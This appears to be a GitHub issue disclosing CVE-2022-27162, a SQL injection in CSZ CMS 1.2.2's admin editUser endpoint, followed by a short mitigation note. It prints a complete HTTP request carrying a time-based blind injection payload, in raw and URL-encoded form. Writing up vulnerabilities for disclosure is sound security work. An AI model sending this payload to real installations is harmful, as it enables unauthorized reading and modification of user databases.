Headline
CVE-2022-27162: SQL Injection vulnerability on cszcms_admin_Members_editUser · Issue #44 · cskaza/cszcms
CSZ CMS 1.2.2 is vulnerable to SQL Injection via cszcms_admin_Members_editUser
Description:
SQL Injection allows an attacker to run malicious SQL statements on a database and thus being able to read or modify the data in the database. With enough privileges assigned to the database user, it can allow the attacker to delete tables or drop databases.
GET /index.php/admin/Members/editUser/%27%6f%72%28%73%6c%65%65%70%28%35%29%29%23 HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/index.php/member/login/check
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 127_0_01_cszsess=bkmcrultec13pmpnos5mb208vtnbophc; cszcookie_95afc46801137b6f60a97c469742e6aacsrf_cookie_csz=d5df85a9d7e7227524a43e3f510a3ac1;XDEBUG_SESSION=PHPSTORM
Connection: close
payload: 'or(sleep(5))#
URL-encode all characters
payload: %27%6f%72%28%73%6c%65%65%70%28%35%29%29%23
Impact: Read and modify the users database
Mitigation: Use of Parameterized SQL Queries and Validation